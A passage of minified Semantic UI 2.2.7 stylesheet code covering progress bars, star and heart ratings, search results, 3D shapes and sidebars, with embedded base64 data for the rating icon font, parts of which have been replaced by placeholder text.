.bar{border-radius:0}.ui.card>.ui.attached.progress,.ui.segment>.ui.attached.progress{position:absolute;top:auto;left:0;bottom:100%;width:100%}.ui.card>.ui.bottom.attached.progress,.ui.segment>.ui.bottom.attached.progress{top:100%;bottom:auto}.ui.red.progress .bar{background-color:#db2828}.ui.red.inverted.progress .bar{background-color:#ff695e}.ui.orange.progress .bar{background-color:#f2711c}.ui.orange.inverted.progress .bar{background-color:#ff851b}.ui.yellow.progress .bar{background-color:#fbbd08}.ui.yellow.inverted.progress .bar{background-color:#ffe21f}.ui.olive.progress .bar{background-color:#b5cc18}.ui.olive.inverted.progress .bar{background-color:#d9e778}.ui.green.progress .bar{background-color:#21ba45}.ui.green.inverted.progress .bar{background-color:#2ecc40}.ui.teal.progress .bar{background-color:#00b5ad}.ui.teal.inverted.progress .bar{background-color:#6dffff}.ui.blue.progress .bar{background-color:#2185d0}.ui.blue.inverted.progress .bar{background-color:#54c8ff}.ui.violet.progress .bar{background-color:#6435c9}.ui.violet.inverted.progress .bar{background-color:#a291fb}.ui.purple.progress .bar{background-color:#a333c8}.ui.purple.inverted.progress .bar{background-color:#dc73ff}.ui.pink.progress .bar{background-color:#e03997}.ui.pink.inverted.progress .bar{background-color:#ff8edf}.ui.brown.progress .bar{background-color:#a5673f}.ui.brown.inverted.progress .bar{background-color:#d67c1c}.ui.grey.progress .bar{background-color:#767676}.ui.grey.inverted.progress .bar{background-color:#dcddde}.ui.black.progress .bar{background-color:#1b1c1d}.ui.black.inverted.progress .bar{background-color:#545454}.ui.tiny.progress{font-size:.85714286rem}.ui.tiny.progress .bar{height:.5em}.ui.small.progress{font-size:.92857143rem}.ui.small.progress .bar{height:1em}.ui.progress{font-size:1rem}.ui.progress .bar{height:1.75em}.ui.large.progress{font-size:1.14285714rem}.ui.large.progress .bar{height:2.5em}.ui.big.progress{font-size:1.28571429rem}.ui.big.progress .bar{height:3.5em}/*! * # Semantic UI 2.2.7 - Rating * path_to_url * * * Released under the MIT license * path_to_url * */.ui.rating{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;white-space:nowrap;vertical-align:baseline}.ui.rating:last-child{margin-right:0}.ui.rating .icon{padding:0;margin:0;text-align:center;font-weight:400;font-style:normal;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;cursor:pointer;width:1.25em;height:auto;-webkit-transition:opacity .1s ease,background .1s ease,text-shadow .1s ease,color .1s ease;transition:opacity .1s ease,background .1s ease,text-shadow .1s ease,color .1s ease}.ui.rating .icon{background:0 0;color:rgba(0,0,0,.15)}.ui.rating .active.icon{background:0 0;color:rgba(0,0,0,.85)}.ui.rating .icon.selected,.ui.rating .icon.selected.active{background:0 0;color:rgba(0,0,0,.87)}.ui.star.rating .icon{width:1.25em;height:auto;background:0 0;color:rgba(0,0,0,.15);text-shadow:none}.ui.star.rating .active.icon{background:0 0!important;color:#ffe623!important;text-shadow:0 -1px 0 #ddc507,-1px 0 0 #ddc507,0 1px 0 #ddc507,1px 0 0 #ddc507!important}.ui.star.rating .icon.selected,.ui.star.rating .icon.selected.active{background:0 0!important;color:#fc0!important;text-shadow:0 -1px 0 #e6a200,-1px 0 0 #e6a200,0 1px 0 #e6a200,1px 0 0 #e6a200!important}.ui.heart.rating .icon{width:1.4em;height:auto;background:0 0;color:rgba(0,0,0,.15);text-shadow:none!important}.ui.heart.rating .active.icon{background:0 0!important;color:#ff6d75!important;text-shadow:0 -1px 0 #cd0707,-1px 0 0 #cd0707,0 1px 0 #cd0707,1px 0 0 #cd0707!important}.ui.heart.rating .icon.selected,.ui.heart.rating .icon.selected.active{background:0 0!important;color:#ff3000!important;text-shadow:0 -1px 0 #aa0101,-1px 0 0 #aa0101,0 1px 0 #aa0101,1px 0 0 #aa0101!important}.ui.disabled.rating .icon{cursor:default}.ui.rating.selected .active.icon{opacity:1}.ui.rating .icon.selected,.ui.rating.selected .icon.selected{opacity:1}.ui.mini.rating{font-size:.78571429rem}.ui.tiny.rating{font-size:.85714286rem}.ui.small.rating{font-size:.92857143rem}.ui.rating{font-size:1rem}.ui.large.rating{font-size:1.14285714rem}.ui.huge.rating{font-size:1.42857143rem}.ui.massive.rating{font-size:2rem}@font-face{font-family:Rating;src:url(data:application/x-font-ttf;charset=utf-8;base64,your_sha256_hashyour_sha256_hashA+IB/your_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAABAAADxZQHg/+D/your_sha256_hashAAAgACAABAAAAAEAIOYF8AbwDfAj8C7wbvBw8Irwl/Cc8SPxZf/9//8AAAAAACDmAPAE8AzwI/Au8G7wcPCH8JfwnPEj8WT//f//AAH/4xoEEAYQAQ/sD+IPow+your_sha256_hashBAAH//your_sha256_hashAAAAAAAAgAANzkBAAAAAAIAAP/tAgAB0wAKABUAAAEvAQ8BFwc3Fyc3BQc3Jz8BHwEHFycCALFPT7GAHp6eHoD/AHAWW304OH1bFnABGRqgoBp8sFNTsHyyOnxYEnFxElh8OgAAAAACAAD/7QIAAdMACgASAAABLwEPARcHNxcnNwUxER8BBxcnAgCxT0+xgB6enh6A/wA4fVsWcAEZGqCgGnywU1OwfLIBHXESWHw6AAAAAQAA/+0CAAHTAAoAAAEvAQ8BFwc3Fyc3AgCxT0+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash+Aj8BPgM1DwEiFCIGMTAmIjQjJy4DNTQ+AjMyHgIfATc+your_sha256_hashyour_sha256_hashCwsSDAcXKDYeEB8bGQqgBgsJBgUJCwagChkbHxA+your_sha256_hashARQOAgcxBw4DIyIuAi8BLgM1ND4CMzIeAhcHFwc3Jzc+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBwExPyMkBgYLCgkKCgoKCQoLBgYkIz8/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashHwEHNxcnNy8BBwAQj0EFCQgGQI8QB2gZDAUGgIEGBQYDAwEYaAc/your_sha256_hashVXg4OHhVEW5uAAABACMAKQHdAXwAGgAANzQ/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashC/your_sha256_hashyour_sha256_hashUKBgYBLAYGCgUGBgUKBQcOCn5+Cg4GBgoFBicBcAoICAMDAwMICAr+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashJBkaVxU9MzQiIDASGxkZEAYGCxQrODk/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAQ0NCg8LCxAdHREcDQ4IEBETEw0GFAEHBwUECAgFBQUFAgO3AAADAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashJQcLCw+your_sha256_hashyour_sha256_hash2FxEHBgcmJyY1ND8BJyY1ABCPQQUJgQYFBgMDARhoBwEjCwIWgQwB/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashw4REg4PDQ4NDgoJBgYBMT8jJAYGCwoJCgoKCgkKCwYGJCM/your_sha256_hashyour_sha256_hashyour_sha256_hashJZIZef7cJwFwCggIAwMDAwgICv6QCggIBAIJeXkJAgQICAoIjRl0AWP+your_sha256_hashyour_sha256_hashCAgIC/your_sha256_hashANAdsB0gAiAC0AABM2PwI2MzIfAhYXFg8BFxYHBiMiLwEHBiMiJyY/AScmNx8CLwE/your_sha256_hashLgEBJggCFYILC4IVAggICWWPCgUFA0REAwUFCo9lCQipCTBmEw1HEhFc/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashBUBBAUEBAcMAQUFCAAAAAADAAD/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash/GODAAAAAM/8Y4MAAP/bAgAB2wAAAAgAAgAAAAAAAAABAAAB4P/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAA==) format('truetype'),url(data:application/font-woff;charset=utf-8;base64,your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAMAAAEABAQAAQEBB3JhdGluZwABAgABADr4HAL4GwP4GAQeCgAZU/+Lix4KABlT/4uLDAeLZviU+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashDz7NPtFcfcU+xBt+0T3Mt73Mjht90T3FPcQBfuU+0YV+wRRofcQMOP3EZ3D9wXDyour_sha512_hashsF9xF5MDOh+xD7BMUFDviU960V+0WlPPc0PPs0+0Vx9xT7EG37RPcy3vcyOG33RPcU9xAFDviU98EVi2B4ZG5wCIuL+zT7NAV7e3t7e4t7i3ube5sI+your_sha256_hashyour_sha256_hashAWopp6yi7YIME0V+zb7NgWKioqKiouKi4qMiowI+your_sha256_hashviU98EVi2B4ZG5wCIuL+zT7NAV7e3t7e4t7i3ube5sI+zT3NAVupniyi7aL3M3N3Iuni6WDoX4IXED3BEtL+zT3RPdU+your_sha256_hashoSUhZKFk4SShZKEkpKSkZOSkpGUkZaSCJaSlpGXj5iPl42Wi7aLrX+your_sha256_hashDlISUhZWFlIWVhpaHmYaYiZiLmAgOZ4v3txWLkpCPlo0I9yOgzPcWBY6SkI+Ri5CLkIePhAjL+your_sha256_hashQj7FM/your_sha256_hashLkpCPlo0I9yOgzPcWBY6SkI+Ri5CLkIePhAjL+xb3I3YFlomQh4uEi4aJh4aGCCMmpPsjBYuKi4mLiIuCh4aDi4iLh4yHjQj7FM/your_sha256_hash7DfcAxPZSd/cN4t/7DJ1V9wFV+your_sha256_hashYYIsWQFkYaNhIuEi4OJhYWFCPuJ+your_sha256_hashyour_sha256_hashyour_sha256_hashzc3BYaGhIiEi4OLhY6FkAhksgWGkYiRi5MIDvtLi8sVi/your_sha512_hash+your_sha256_hashn2ZepJ3i3aLeoR9fX18g3qLdwiLVAUO+yaLshWL+AQFi5GNkY+RjpCQj5KNj42PjI+LCPfAiwWPi4+Kj4mRiZCHj4aPhY2Fi4UIi/wEBYuEiYWHhoeGhoeFiIiKhoqHi4GLhI6EkQj7EvcN+xL7DQWEhYOIgouHi4eLh42EjoaPiJCHkImRi5IIDov3XRWLko2Rj5Kltq+your_sha256_hashbmF6lXqZnrnG2h5KJkouRCLCLFaRkq2yxdLF0tH+your_sha256_hashpi6+LopGglp9gdWdpbl4I9xiwFYuHjIiOiI6IjoqPi4+LjoyOjo2OjY6Lj4ubkJmXl5eWmZGbi4+your_sha256_hashouK+utqW3pbqYvouci5yJnIgIm6cFjY6NjI+LjIuNi42JjYqOio+your_sha256_hashJiIiJiIuJi36SdJiIjYmOi46LjY+your_sha256_hashikaCWn2B1Z2luXgj3GLAVi4eMiI6IjoiOioyour_sha512_hash+10VoLAFtI+wmK2hrqKnqKKvdq1wp2uhCJ2rBZ1/nHycepx6mHqWeY+EjYWLhIuEiYWHhIR/gH1+your_sha256_hashi5WPlJKSkpKTj5aLCNmLBZKPmJqepJaZlZeVlY+Qj5ONl42WjpeOmI+your_sha256_hashSeot3i3qGfIJ9jYSLhYuEi3yIfoR+your_sha256_hashOYsFgIuDjoSShJKHlIuVCLCdFYuGjIePiI+Hj4mQi5CLj42Pj46OjY+LkIuQiZCIjoePh42Gi4aLh4mHh4eIioaLhgjUeRWUiwWNi46Lj4qOi4+KjYqOi4+Kj4mQio6KjYqNio+your_sha256_hashRlZWQlouYi5CKkImRiZGJj4iOCJGMkI+PlI+UjZKLkouViJODk4SSgo+CiwgmiwWLlpCalJ6UnpCbi5aLnoiYhJSFlH+QeYuGhoeDiYCJf4h/h3+your_sha256_hashKh4mIioiLCIKLi/tLBQ6L90sVi/your_sha256_hashyTd4txCIuJBZd8kHuLd4uHi4eLh5J+your_sha256_hashfoV+hX2He4uBi4OPg5KFkYaTh5SHlYiTipOKk4qTiJMIiZSIkYiPgZSBl4CaeKR+moSPCD2LBYCLg4+EkoSSh5SLlQiw9zgVi4aMh4+Ij4ePiZCLkIuPjY+Pjo6Nj4uQi5CJkIiOh4+HjYaLhouHiYeHh4iKhouGCNT7OBWUiwWOi46Kj4mPio+IjoiPh4+IjoePiI+Hj4aPho6HjoiNiI6Hj4aOho6Ii4qWfpKDj4YIk4ORgY5+j36OgI1/jYCPg5CGnYuXj5GUkpSOmYuei5aGmoKfgp6GmouWCPCLBZSLlI+SkpOTjpOLlYuSiZKHlIeUho+Fi46PjY+your_sha256_hashyour_sha256_hashLCIKLi/tLBQ77lIv3txWLkpCPlo0I9yOgzPcWBY6SkI+RiwiL/BL7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwgOi/your_sha256_hashGWkgiWkpaRl4+Yj5eNlou2i61/o3OjdJdqi2GLYXVgYGAI+0b7QAWHiIeJhouGi4eNh44I+0b3QAWJjYmNh4+IjoaRg5SElIWVhZSFlYaWh5mGmImYi5gIsIsVi2ucaa9oCPc6+zT3OvczBa+vnK2Lq4ubiZiHl4eXhpSFkoSSg5GCj4KQgo2CjYONgYuBi4KLgIl/your_sha256_hashgJB/kICNgosIgYuBi4OJgomCiYKGgoeDhYSEhYSGgod/h3+Jfot7CA77JouyFYv4BAWLkY2Rj5GOkJCPko2PjY+Mj4sI98CLBY+Lj4qPiZGJkIePho+FjYWLhQiL/your_sha256_hashYSOho+IkIeQiZGLkgiwkxX3JvchpHL3DfsIi/f3+7iLi/v3BQ5ni8sVi/c5BYuSjpKQkJCQko6Siwj3VIuLwgWLrpippKSkpKmYrouvi6l+your_sha256_hashyour_sha256_hash_hashECMv7FvcjdgWUiZCIjYaNhoiFhYUIIyak+yMFjIWKhomHiYiIiYaLiIuHjIeNCPsUz/sVRwWHiYeKiIuHi4eNiY6Jj4uQjJEIo/cjI/AFhZGJkY2QCPeB+z0VnILlW3rxiJ6ZmNTS+wydgpxe54v7pwUOZ4vCFYv3SwWLkI2Pjo+Pjo+NkIsI3osFkIuPiY6Ij4eNh4uGCIv7SwWLhomHh4eIh4eKhosIOIsFhouHjIePiI+Jj4uQCLCvFYuGjIePh46IkImQi5CLj42Pjo6PjY+LkIuQiZCIjoePh42Gi4aLhomIh4eIioaLhgjvZxWL90sFi5CNj46Oj4+your_sha256_hashyour_sha256_hashyour_sha256_hashJCNqLBZqLmIWWgJaAkHyour_sha512_hashj32Qc5N8j4SMhouHjYiOh4+Jj4uQCA5ni/c5FYuGjYaOiI+Hj4mQiwjeiwWQi4+Njo+Pjo2Qi5AIi/dKBYuQiZCHjoiPh42Giwg4iwWGi4eJh4eIiImGi4YIi/tKBbD3JhWLkIyPj4+OjpCNkIuQi4+Jj4iOh42Hi4aLhomHiIeHh4eKhouGi4aMiI+Hj4qPi5AI7/snFYv3SwWLkI2Qj46Oj4+your_sha256_hashAj4CLgIeAlH+your_sha256_hashyour_sha256_hashIh4aIh4iFiISJhImDioKLhouHjYiPh4+Ij4iRiJGJkIqPCIqPipGKkomTipGKj4qOiZCJkYiQiJCIjoWSgZZ+your_sha256_hashyour_sha256_hashAAAAAAAAAEAAAPFlAeD/4P/your_sha256_hashAACAAIAAEAAAAAQAg5gXwBvAN8CPwLvBu8HDwivCX8JzxI/Fl//3//wAAAAAAIOYA8ATwDPAj8C7wbvBw8Ifwl/Cc8SPxZP/9//8AAf/jGgQQBhABD+wP4g+jD6IPjA+AD3wO9g62AAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAf//your_sha512_hash/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAAAAAAAA==) format('woff');font-weight:400;font-style:normal}.ui.rating .icon{font-family:Rating;line-height:1;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.rating .icon:before{content:'\f005'}.ui.rating .active.icon:before{content:'\f005'}.ui.star.rating .icon:before{content:'\f005'}.ui.star.rating .active.icon:before{content:'\f005'}.ui.star.rating .partial.icon:before{content:'\f006'}.ui.star.rating .partial.icon{content:'\f005'}.ui.heart.rating .icon:before{content:'\f004'}.ui.heart.rating .active.icon:before{content:'\f004'}/*! * # Semantic UI 2.2.7 - Search * path_to_url * * * Released under the MIT license * path_to_url * */.ui.search{position:relative}.ui.search>.prompt{margin:0;outline:0;-webkit-appearance:none;-webkit-tap-highlight-color:rgba(255,255,255,0);text-shadow:none;font-style:normal;font-weight:400;line-height:1.2142em;padding:.67861429em 1em;font-size:1em;background:#fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);box-shadow:0 0 0 0 transparent inset;-webkit-transition:background-color .1s ease,color .1s ease,box-shadow .1s ease,border-color .1s ease;transition:background-color .1s ease,color .1s ease,box-shadow .1s ease,border-color .1s ease}.ui.search .prompt{border-radius:500rem}.ui.search .prompt~.search.icon{cursor:pointer}.ui.search>.results{display:none;position:absolute;top:100%;left:0;-webkit-transform-origin:center top;transform-origin:center top;white-space:normal;background:#fff;margin-top:.5em;width:18em;border-radius:.28571429rem;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);border:1px solid #d4d4d5;z-index:998}.ui.search>.results>:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.search>.results>:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.search>.results .result{cursor:pointer;display:block;overflow:hidden;font-size:1em;padding:.85714286em 1.14285714em;color:rgba(0,0,0,.87);line-height:1.33;border-bottom:1px solid rgba(34,36,38,.1)}.ui.search>.results .result:last-child{border-bottom:none!important}.ui.search>.results .result .image{float:right;overflow:hidden;background:0 0;width:5em;height:3em;border-radius:.25em}.ui.search>.results .result .image img{display:block;width:auto;height:100%}.ui.search>.results .result .image+.content{margin:0 6em 0 0}.ui.search>.results .result .title{margin:-.14285em 0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;font-size:1em;color:rgba(0,0,0,.85)}.ui.search>.results .result .description{margin-top:0;font-size:.92857143em;color:rgba(0,0,0,.4)}.ui.search>.results .result .price{float:right;color:#21ba45}.ui.search>.results>.message{padding:1em 1em}.ui.search>.results>.message .header{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1rem;font-weight:700;color:rgba(0,0,0,.87)}.ui.search>.results>.message .description{margin-top:.25rem;font-size:1em;color:rgba(0,0,0,.87)}.ui.search>.results>.action{display:block;border-top:none;background:#f3f4f5;padding:.92857143em 1em;color:rgba(0,0,0,.87);font-weight:700;text-align:center}.ui.search>.prompt:focus{border-color:rgba(34,36,38,.35);background:#fff;color:rgba(0,0,0,.95)}.ui.loading.search .input>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.search .input>i.icon:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}.ui.category.search>.results .category .result:hover,.ui.search>.results .result:hover{background:#f9fafb}.ui.search .action:hover{background:#e0e0e0}.ui.category.search>.results .category.active{background:#f3f4f5}.ui.category.search>.results .category.active>.name{color:rgba(0,0,0,.87)}.ui.category.search>.results .category .result.active,.ui.search>.results .result.active{position:relative;border-left-color:rgba(34,36,38,.1);background:#f3f4f5;box-shadow:none}.ui.search>.results .result.active .title{color:rgba(0,0,0,.85)}.ui.search>.results .result.active .description{color:rgba(0,0,0,.85)}.ui.search.selection .prompt{border-radius:.28571429rem}.ui.search.selection>.icon.input>.remove.icon{pointer-events:none;position:absolute;left:auto;opacity:0;color:'';top:0;right:0;-webkit-transition:color .1s ease,opacity .1s ease;transition:color .1s ease,opacity .1s ease}.ui.search.selection>.icon.input>.active.remove.icon{cursor:pointer;opacity:.8;pointer-events:auto}.ui.search.selection>.icon.input:not([class*="left icon"])>.icon~.remove.icon{right:1.85714em}.ui.search.selection>.icon.input>.remove.icon:hover{opacity:1;color:#db2828}.ui.category.search .results{width:28em}.ui.category.search>.results .category{background:#f3f4f5;box-shadow:none;border-bottom:1px solid rgba(34,36,38,.1);-webkit-transition:background .1s ease,border-color .1s ease;transition:background .1s ease,border-color .1s ease}.ui.category.search>.results .category:last-child{border-bottom:none}.ui.category.search>.results .category:first-child .name+.result{border-radius:0 .28571429rem 0 0}.ui.category.search>.results .category:last-child .result:last-child{border-radius:0 0 .28571429rem 0}.ui.category.search>.results .category .result{background:#fff;margin-left:100px;border-left:1px solid rgba(34,36,38,.15);border-bottom:1px solid rgba(34,36,38,.1);-webkit-transition:background .1s ease,border-color .1s ease;transition:background .1s ease,border-color .1s ease;padding:.85714286em 1.14285714em}.ui.category.search>.results .category:last-child .result:last-child{border-bottom:none}.ui.category.search>.results .category>.name{width:100px;background:0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1em;float:1em;float:left;padding:.4em 1em;font-weight:700;color:rgba(0,0,0,.4)}.ui[class*="left aligned"].search>.results{right:auto;left:0}.ui[class*="right aligned"].search>.results{right:0;left:auto}.ui.fluid.search .results{width:100%}.ui.mini.search{font-size:.78571429em}.ui.small.search{font-size:.92857143em}.ui.search{font-size:1em}.ui.large.search{font-size:1.14285714em}.ui.big.search{font-size:1.28571429em}.ui.huge.search{font-size:1.42857143em}.ui.massive.search{font-size:1.71428571em}/*! * # Semantic UI 2.2.7 - Shape * path_to_url * * * Released under the MIT license * path_to_url * */.ui.shape{position:relative;vertical-align:top;display:inline-block;-webkit-perspective:2000px;perspective:2000px;-webkit-transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out}.ui.shape .sides{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.ui.shape .side{opacity:1;width:100%;margin:0!important;-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.shape .side{display:none}.ui.shape .side *{-webkit-backface-visibility:visible!important;backface-visibility:visible!important}.ui.cube.shape .side{min-width:15em;height:15em;padding:2em;background-color:#e6e6e6;color:rgba(0,0,0,.87);box-shadow:0 0 2px rgba(0,0,0,.3)}.ui.cube.shape .side>.content{width:100%;height:100%;display:table;text-align:center;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text}.ui.cube.shape .side>.content>div{display:table-cell;vertical-align:middle;font-size:2em}.ui.text.shape.animating .sides{position:static}.ui.text.shape .side{white-space:nowrap}.ui.text.shape .side>*{white-space:normal}.ui.loading.shape{position:absolute;top:-9999px;left:-9999px}.ui.shape .animating.side{position:absolute;top:0;left:0;display:block;z-index:100}.ui.shape .hidden.side{opacity:.6}.ui.shape.animating .sides{position:absolute}.ui.shape.animating .sides{-webkit-transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out}.ui.shape.animating .side{-webkit-transition:opacity .6s ease-in-out;transition:opacity .6s ease-in-out}.ui.shape .active.side{display:block}/*! * # Semantic UI 2.2.7 - Sidebar * path_to_url * * * Released under the MIT license * path_to_url * */.ui.sidebar{position:fixed;top:0;left:0;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:none;transition:none;will-change:transform;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);visibility:hidden;-webkit-overflow-scrolling:touch;height:100%!important;max-height:100%;border-radius:0!important;margin:0!important;overflow-y:auto!important;z-index:102}.ui.sidebar>*{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.left.sidebar{right:auto;left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.sidebar{right:0!important;left:auto!important;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.bottom.sidebar,.ui.top.sidebar{width:100%!important;height:auto!important}.ui.top.sidebar{top:0!important;bottom:auto!important;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.sidebar{top:auto!important;bottom:0!important;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.pushable{height:100%;overflow-x:hidden;padding:0!important}body.pushable{background:#545454!important}.pushable:not(body){-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.pushable:not(body)>.fixed,.pushable:not(body)>.pusher:after,.pushable:not(body)>.ui.sidebar{position:absolute}.pushable>.fixed{position:fixed;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;will-change:transform;z-index:101}.pushable>.pusher{position:relative;-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden;min-height:100%;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:2}body.pushable>.pusher{background:#fff}.pushable>.pusher{background:inherit}.pushable>.pusher:after{position:fixed;top:0;right:0;content:'';background-color:rgba(0,0,0,.4);overflow:hidden;opacity:0;-webkit-transition:opacity .5s;transition:opacity .5s;will-change:opacity;z-index:1000}.ui.sidebar.menu .item{border-radius:0!important}.pushable>.pusher.dimmed:after{width:100%!important;height:100%!important;opacity:1!important}.ui.animating.sidebar{visibility:visible}.ui.visible.sidebar{visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.left.visible.sidebar,.ui.right.visible.sidebar{box-shadow:0 0 20px rgba(34,36,38,.15)}.ui.bottom.visible.sidebar,.ui.top.visible.sidebar{box-shadow:0 0 20px rgba(34,36,38,.15)}.ui.visible.left.sidebar~.fixed,.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}.ui.visible.right.sidebar~.fixed,.ui.visible.right.sidebar~.pusher{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}.ui.visible.top.sidebar~.fixed,.ui.visible.top.sidebar~.pusher{-webkit-transform:translate3d(0,36px,0);transform:translate3d(0,36px,0)}.ui.visible.bottom.sidebar~.fixed,.ui.visible.bottom.sidebar~.pusher{-webkit-transform:translate3d(0,-36px,0);transform:translate3d(0,-36px,0)}.ui.visible.left.sidebar~.ui.visible.right.sidebar~.fixed,.ui.visible.left.sidebar~.ui.visible.right.sidebar~.pusher,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.fixed,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}html.ios{overflow-x:hidden;-webkit-overflow-scrolling:touch}html.ios,html.ios body{height:initial!important}.ui.thin.left.sidebar,.ui.thin.right.sidebar{width:150px}.ui[class*="very thin"].left.sidebar,.ui[class*="very thin"].right.sidebar{width:60px}.ui.left.sidebar,.ui.right.sidebar{width:260px}.ui.wide.left.sidebar,.ui.wide.right.sidebar{width:350px}.ui[class*="very wide"].left.sidebar,.ui[class*="very wide"].right.sidebar{width:475px}.ui.visible.thin.left.sidebar~.fixed,.ui.visible.thin.left.sidebar~.pusher{-webkit-transform:translate3d(150px,0,0);transform:translate3d(150px,0,0)}.ui.visible[class*="very thin"].left.sidebar~.fixed,.ui.visible[class*="very thin"].left.sidebar~.pusher{-webkit-transform:translate3d(60px,0,0);transform:translate3d(60px,0,0)}.ui.visible.wide.left.sidebar~.fixed,.ui.visible.wide.left.sidebar~.pusher{-webkit-transform:translate3d(350px,0,0);transform:translate3d(350px,0,0)}.ui.visible[class*="very wide"].left.sidebar~.fixed,.ui.visible[class*="very wide"].left.sidebar~.pusher{-webkit-transform:translate3d(475px,0,0);transform:translate3d(475px,0,0)}.ui.visible.thin.right.sidebar~.fixed,.ui.visible.thin.right.sidebar~.pusher{-webkit-transform:translate3d(-150px,0,0);transform:translate3d(-150px,0,0)}.ui.visible[class*="very thin"].right.sidebar~.fixed,.ui.visible[class*="very thin"].right.sidebar~.pusher{-webkit-transform:translate3d(-60px,0,0);transform:translate3d(-60px,0,0)}.ui.visible.wide.right.sidebar~.fixed,.ui.visible.wide.right.sidebar~.pusher{-webkit-transform:translate3d(-350px,0,0);transform:translate3d(-350px,0,0)}.ui.visible[class*="very wide"].right.sidebar~.fixed,.ui.visible[class*="very 